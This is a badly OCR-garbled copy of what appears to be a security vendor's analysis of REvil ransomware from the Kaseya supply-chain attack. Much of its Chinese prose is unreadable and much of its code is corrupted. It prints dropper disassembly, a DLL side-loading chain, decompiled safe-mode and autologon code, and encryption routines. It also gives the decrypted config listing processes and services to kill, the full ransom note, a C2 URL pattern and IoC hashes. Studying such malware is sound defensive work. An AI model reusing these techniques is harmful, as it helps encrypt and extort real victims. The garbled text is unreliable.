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Share:

TeamT5 T HIR & EECHEIRTES — B RZEMRRN (Ransomware) |, iZe B2 ARTRBIFL B ISR 3E%E Kaseya BEIEZ AR
REvil \f2 , EMAALESEEEEM (Supply Chain Attack) ZYIAER. #il I HZAMFNERR REvil X4 FiE | BEEEIRE ?

TeamT5 ESEFHFTRERE , IMEHREEEXAFERBAUET | THILREHFZREN. RIFMEFHFY Windows iR
BIRIR , $YT DLL Side-Loading , #BR&EE | MAEERAAME. BUTIIEN , SR RC4 IREAME —AARESUER | W METERM
Bt , &/ Salsa20 il AES MAERE LK MEIER.

TeamT5 RAAE , HEEZLFEY KR Kaseya PRtz (% , AR FREFAELERENCLEEM4. W, ZMEHZREAFIEE G
15 Kaseya B BREMFFTRR] , i TeamT5 AR KB ZEENRSTE | FIA REvi MEHSREAISERICHFIZE B Z .

BELH

sample.exe % TeamT5 FTEIREVE Y 52 , BBHIURE (digital signature) , ZZ A £ #8%4 PB03 TRANSPORT LTD., HETEZEEDHE
BRETEWY  BE , 2R TEE AR BEATBIMAE, T E MITRE (B FiE4me5 24 T1553.002, $ifuEE S ERTE—.
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https://teamt5.org/tw/posts/revil-dll-sideloading-technique-used-by-other-hackers/

[) sample.exebin - RE

—f BUBE =2 HMEH LEORE

sample.exe & T EBIERBIu KT S , REFLEE Dropper. fEHIEREREIRT , AEMEEIRHE MODLIS.RG £ SOFTIS.RG, 1ERHIT

BEEE
EEANEE: EEEH. BEREI
PB0O3 TRANSPORT LTD.  sha256 mixER
HHEE(D)
®E AU ERMA)

[E—. sample.exe ABHLLE (BHELHY)

BiESERER
—# R

=% WS R
BECHSLESSHS -

BEAEAO
ZiE: |PBO3 TRANSPORT LTD.
ETEME |Broui|\ettebusiness@outlookcom
BERRE |fﬁ}1’-ﬁﬁﬁ
BREEWV
BEWL
|g#EAm.. E78E. BEER

#AFERD

21 , &5 RI#E C:\Windows\ (%1€ F#3 mpsve.dil £ MsMpEng.exe , 20E —.

Ltext
Ltext
Ctext
Ltext
Ltext
Ltext
Ltext
Ltext
Ltext
Ltext
Ltext
Ltext
Ltext
Ltext
Ltext
Ltext
Ltext
Ltext
Ltext
Ltext
Ltext
Ltext
Ltext
Ltext
Ltext
Ltext
Ltext
Ltext
Ltext
Ltext
Ltext
Ltext
Ltext
Ltext
Ltext
Ltext
Ltext
Ltext
Ltext
Ltext

1Bada1er3
1eadalers
reed4alers
raadalerc
readaliel
read4alles
read4alles
readalley
readalles
read4aller
reed4allle
(eadal112
readallls
reed4alllA
reed4allze
(eada1121
readalizy
ree4a1l12C
1ee4a112E
readallse
1@a4a1135
1ee4a1137
1ee4a1139
1Ba4a1136
1@ada113c
1ee4a113E
1ea4a113F
1Ba4a1145
1eadal114y
1ea4a1149
reed4allan
(eadallse
1@a4a1155
1ee4a115A
1e@4a115F
(eadallsl
1eadallee
reed4allec
1ee4a1171
1ea4a1178

mov ebp, esp

nush £si

mov esi, ds:FindResourcel

push offset Type 5 "SOFTIS™

push 65h ; ‘e’ 3 lpName

push ] 3 hMedule

call e_s:i. ; FindResourcel

test eax, eax

jz loc_4811A7

push eax ; hResInfo

push ] 3 hModule

call ds:LoadResource

test eax, eax

jz loc_4811A7
_oush_cax ; hResData

call ds:LockResource

push offset aModlis ; "MODLIS™

push 66h ; 'f' ; lpName

push ] 3 hModule

mov dword_414348, eax

call esi ; FindResourcel

TEST AN, eax

jz short loc_4@811A7

push eax ; hResInfo

wor esi, esi

push esi 3 hMedule

call ds:LoadResource

test eax, eax

jz short loc_4811A7

push eax ; hResData

call ds:LockResource

push offset aMpswcDll ;_

mov edx, @C5588h

mov dword_414344, eax

mov ecx, eax

call sub_4eleee

mov ecx, dword_ 414348

mov edx, 56DEh

mov [esp+8+1lpProcessInformation], offset aMsmpengExe

call sub_4eleee

B RIE I 4 mpsve.dll £ MsMpEng.exe

B —. sample.exe
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MsMpEng.exe 2 Windows BHIIRA (RA5524 4.5.0218.0) ZBhaEieses , HIERSMBELA 2014/03/24 09:34, It MsMpEng.exe &
DLL {81# (DLL Side-Loading) i@if , & FI A& AR RBAZEALE mpsvedll , AHIKEMBREF X , FfTEE MITRE MIEF £
8§ 4 T1574.002, MsMpEng.exe RIisR &t R TE=.

[® MsMpEng.exe - & X | W MsMpEng.exe - RE x
—f& St BOsE x4 #EEH LEoRs —f  fast BUEE wzé @R LEOKES
B: & sEEE
fidit . -
iEE &P Antimalware Service Executable BEANER: BEAA. BE®T
Microsoft Corporation  shat 2014F35248 EF 09: 3444

BE ERER

BERE 452180

E&EE Microsoft Malware Protection

EmiEE 4.5.02180

EfEl®  © Microsoft Corporation. All rights reserved

Microsoft Corporation  sha256 2014E35248 £ 09:34:45

bl 21.7KB
Gl
#= 2X(EB)

[FiatEE MsMpEng.exe

BE=. MsMpEng.exe fItE5ERLIEREE

B35 mpsve.dll KEE R |, @518 Windows BEFERKIEN mpsve.dil , BB serviceCrtMain BRRKBIT. HITE , mpsve.dll &I —1E
BAT4E Thread) , WiBEI® createFileMappingw BRTNARELN —FEERZEE Shellcode, %3 |, ¥ VirtualAllocEx BRSO BCaCIEReAIGE/
BAITES, , it Shellcode #MEBNZAZ DINBEBNGCIEREH.

I8 Pseudocode-A I8 Pseudocode-B
DWORD __stdcall StartAddress(LPVOID lpThreadParameter) int __cdecl sub_100010E0(
{ void tdcall *a1)(HMODULE (_ |
HANDLE C {
LPVOID v3 e h aryA, GetPro ddress);
HANDLE hF )

-1;
‘sub 10001000( &unk_1009D018, Size, byte_ 1009D000, dword 10@BCC20, &Src) )

BEPY. mpsve.dll £/ createFileMappingw FI VirtualAllocEx ERZCEGAZZEFEL(RZN
ME#ZI OB BMEE— RS2 4siSH DLL FE3R |, BIASREFRIMEE JSON A& Z4HREFEEHE (Config) . TeamT5 REFIEHE REvVil B2 kT |,

IR M T {8 CRC32 JRE AR ESE F“f‘ﬂ%:% M, W{FE A RC4 JREIAKME. FELRGIF | huﬁiﬂ?&‘tﬁﬁﬁﬂiﬂq RC4 fi# &5~
MXT1QFYEUbrxc4cbP84jbNswrHeqmFxt , fiREER4HRER EfE-E R AT &4 -
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"pk":"9/AgyLVWEViWbvuayR2k0Q140e9LZI5hwrmto/zCyFM=",
"pid":"$2a$12$proxX/4eK18zrpGSC51nHPecevs5N0ckOUW5r3s43JYDnZZSghvBkq",
ngub": "8254"
: ’
"dbg":false,
"et":0
"wipe":true,
"wht":{"fld":["program files", "appdata", "mozilla", "$windows.~ws", "application
data", "$windows.~bt", "google", "$recycle.bin", "windows.old", "programdata", "system volume information", "program files
(x86)", "boot", "tor browser","windows","intel", "perflogs", "msocache"],
"fls":
["ntldr", "thumbs.db", "bootsect.bak", "autorun.inf", "ntuser.dat.log", "boot.ini", "iconcache.db", "bootfont.bin", "ntuser.dat", "ntuser.ini

"ext":

["ps1", "1df", "lock", "theme", "msi", "sys", "wpx", "cpl", "adv", "msc", "scr", "bat", "key", "ico", "d11l", "hta", "deskthemepack", "nomedia", "msu",
"wfld":["backup"],

"pre:

["encsvc", "powerpnt", "ocssd", "steam", "isqlplussvc", "outlook", "sql", "ocomm", "agntsvc", "mspub", "onenote", "winword", "thebat", "excel", "n
"dmn":"boisehosting.net; fotoideaymedia.es;dubnew.com;stallbyggen.se; TRIMMED",

"net":false,

"svc":["veeam", "memtas", "sql", "backup", "vss", "sophos", "svc$", "mepocs"],

"nbody" : "BASE64_ENCODED_RANSOM_NOTE",

"nname":"{EXT}-readme.txt",

"exp":false,

"img" : "QQBSAGWAIABVAGYAIABSAGSAdQBYACAAZGBPAGWAZQBZACAAYQBYAGUAIABLAGAAYWBYAHKACABOAGUAZAAhAAGACGANAAOARGBPAGAAZAAGAHSARQBYAFQATQALL

"arn":false,
"rdment":0}

o ARRER EIERR A

W R

pk  4%i8 Base64 AmiEiEHI44R

fld  ERMEBAERKET

fls  EEMBEAAERETE
BHIMEHEREN

prc AT EsRHIRIRANTEF &8

dmn  Fhagukfyit

sve  NEHTE @GNS LIRS 2T

ext

FEMEBEN A OIENTARRER BT8R |, @REVREZTEEIMNELREN , BAIRE. THEHE. %L, Windows lRALTESE, R, %
MEEHZEFEREE -nolan . -nolocal . -path ., -silent ., -smode . -fast R -full ZF2#OI4EHA.

WMRER -smode I, SNEERMRIFMEREE RS DTrumpsever , WEREBANEBEEBIT. BEFER -silent X, AIGRAIRER TS
Pi§ sve EIRFHRBFILIMIGR , 01§ pre ERPRFEFLAL , DIRER WMI RIBRRAREEZAERUE (Shadow Copy File)

47



pcbBuffer = 260;
if ( !GetUserNameW(Buffer, &pcbBuffer) )
return 0;
if ( !TrySetUsername(Buffer, L"DTrumpdever") )
return 0;
REvil::TryDecryptSection(REvilStringTable, 1631, 8, 106, WinLogonKey);
vi3 = 0;
REvil::TryDecryptSection(REvilStringTable, 734, 5, 30, aDefaultPassword);
vi7 = 0;
REvil::TryDecryptSection(REvilStringTable, 2900, 12, 30, aDefaultUserName);
vi9 = 0;
REvil::TryDecryptSection(REvilStringTable, 4597, 10, 28, aAutoAdminLogon);
v25 = 0;
if ( !TrySetRegistryValue O(HKEY_LOCAL_MACHINE, WinLogonKey, aAutoAdminLogon, 1u, L"1", 4u) )
return 0;
v3 = sub_386A03(Buffer);
if ( !TrySetRegistryValue O(HKEY_LOCAL_MACHINE, WinLogonKey, aDefaultUserName, 1lu, Buffer, 2 * v3 + 2) )
return 0;
vd = sub 386A03(L DTrumpdever
if ( !TrySetRegistryValue_ O(HKEY LOCAL_MACHINE, WinLogonKey, aDefaultPassword, 1lu, L"DTrumpdever", 2 * v4 + 2) )
return 0;
v3 = sub7385718(@. &v34);
REvil::TryDecryptSection(REvilStringTable, 2105, 10, 98, vi14);
vi5 = 0;
REvtl::TryDecryptSectton(REVilStrtngTabLe. 1019, 6, 24, v26);
v27 = 0;
REvil: TryDecryptSectLon(REVLlStangTable 0x122D, 8, 24, aMarineLePen);
v31l = 0;
v6 = TrySetRegistryValue(HKEY_LOCAL_MACHINE, v14, v26, lu, v5, 2 * v34 + 2);
v10 = v5;
if (1v6 )
{
Cleanup_FreeHeap_Wrapper(v10);
return 0;

Cleanup_FreeHeap_Wrapper(v10);
if ( is64Bit )
sub_386380(&v32);
v10 = CmdLine;
v9 = 39;
if ( isBelowWin7 )
{
REvil::TryDecryptSection(REvilStringTable, 907, 14, v9, v10);
v29 = 0;
WinExec(CmdLine, 5u});
REVII :TryDecryptSection(REvilStringTable, 493, 11, 60, v21);
v22 = 0;
v34 = sub_386A03(v21);
vil = 2 * v34 + 2;
v7 = v21;
}
else
{
REvil::TryDecryptSection(REvilStringTable, 788, 4, v9, vi@);
v29 = 0;
WinExec(CmdLine, 5u});
REV11 :TryDecryptSection(REvilStringTable, 1884, 16, 78, v20);
v23 = 0;
v34 = sub_386A03(v20);
vil = 2 % v34 + 2;
v7 = v20;
F
if ( !TrySetRegistryValue O(HKEY_LOCAL_MACHINE, vi14, aMarineLePen, 1lu, v7, vi1) )
return 0;
if ( 1s64Bit )
sub_3863A2(v32);
RebootWindows(1);

eturn 1;

[EZ, smode HEHIFE S HTEE

FRIABTIERNENAT , MBI FLOEREE FEFH (Mutex) , DRERIZRHHMNESZALOMIEELT , BE MR ATNEF ST, BT
B, MEHREXEET BEERNETREUT | W EREILAME KRR netsh advfirewall firewall set rule group="Network

Discovery" new enable=Yes ,

HE | WEBREe AL EIBELEIRETNG , 520 Salsa20 £1 AES, ENRIBFRET , EAMAAERTEHET ext BRTPUIERAIES , BaT
EFH TSR B4,




void _ cdecl sub 3836C8(int al)

- v2[32];

gmemcpy( (a , byte_393460,
gmemcpy((al + 128), byte_3934B8,
sub_386F2C(v2, al + 216);
sub_38725E(v2, byte_393440,

sub_387308( v
Salsaz20: :ECRYPT 2), k, f Ou, 0x40u); BN, MEEEILEH
sub_387308(k, )
sub _3871C7(al + 3,
ECRYPT_ivsetup((al + , (a1l + 2«
6) = REvil::GetCrc32Hash(0, (al + 2
= dword_393598;
dword_39359C;

=

Salsa20 #1 AES

sEEn sz L R A 2 = kv po s 7@ 22 1 v =) L ¥omyv,

FEERAMEMEERE , HRAENERSRIESEERRKET , HERENATFRN () |, LRI AMMELEEER/NERX
=] 44433 . == e 72 = —

REYFAAE , WML -readme AE (suffix) FiT. HEFNENEMNTE LR,

—-—-=== Welcome. Again. ===---

[-] Whats HapPen? [-]

Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 72vsvz.

By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data

(NEVER) .

[+] What guarantees? [+]

Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities

- nobody will not cooperate with us. Its not in our interests.

To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee.

If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the

private key. In practice - time is much more valuable than money.

[+] How to get access on website? [+]

You have two ways:

1) [Recommended] Using a TOR browser!
a) Download and install TOR browser from this site: https://torproject.org
b) Open our website: http: .onion

2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this:
a) Open your any browser (Chrome, Firefox, Opera, IE, Edge)
b) Open our secondary website: http://decoder.re

Bt. BFAEAE

EMERER 2%, MBS RENGEREAARER TP TN, |, WAEMR HTTP POST F7ARHEA REvVil IRA, 1EERMRA, 55 RABRERTE
RESEN. EEPARE URL SRAKAELRKEIST , 21 WordPress 5R% , MREARMKAIESK. H URLAZRMT :

https:\/\/<C2Domain>\/(wp-
content|static|content|include|uploads|news|dataladmin)\/(images|pictures|image|temp|tmp|graphic|assets|pics|game)\/([a-
z]{2}){10}\.(jpglpng|gif)

loC \1=FEHE

TeamT5 SRR MEENRILEZ 4 1oC (Indicators of Compromise) &l , Bk P HABETEIREE , BAS{ERERETE
A, aEEE.

Type Value 184 Ei:32

MD5 561CFFBABA71AG6ES8CC1CDCEDA990EAD4 sample.exe REvil Dropper
MD5 A47CFO0AEDF769D60D58BFEO0C0B5421 mpsvce.dll REvil Loader
MD5 3AD14947002E57887B82643D729C21AE n/a REvil Shellcode
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Type Value 154 R
MD5 6A044F92F8DDDAD2AEOFF213215FE576 n/a REvil Payload
SHA-1 5162F14D75E96EDB914D1756349D6E11583DB0B0O sample.exe REvil Dropper
SHA-1 656C4D285EA518D90C1B669B79AF475DB31E30B1 mpsvc.dll REvil Loader
SHA-1 8DASE1DB4367BFFFB8DFF6828619DC3C2A444FFE n/a REvil Shellcode
SHA-1 89BA0OD748EF30E7D4FACDBC74CA701B24F3ACEDB n/a REvil Payload
SHA-256 D55F983C994CAA160EC63A59F6B4250FE67FB3ESBC43A388AEC60A4A6978E9F1E  sample.exe REvil Dropper
SHA-256 8DD620D9AEB35960BB766458C8890EDE987C33D239CF730F93FE49D90AE759DD  mpsvce.dll REvil Loader
SHA-256 C8768D4A4979D4B5AB4E841FC29523D8D80C52D6E8IF345A0A44E75973F3D3AF  n/a REvil Shellcode
SHA-256 F92CD77D38EC7A2E3CDB5CAC083258424F920F3104BC710E60AEESCE4BC4B867 n/a REvil Payload

*[@ 2R : Pixabay

Share:

=
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https://pixabay.com/illustrations/ransomware-wannacry-malware-2318381/

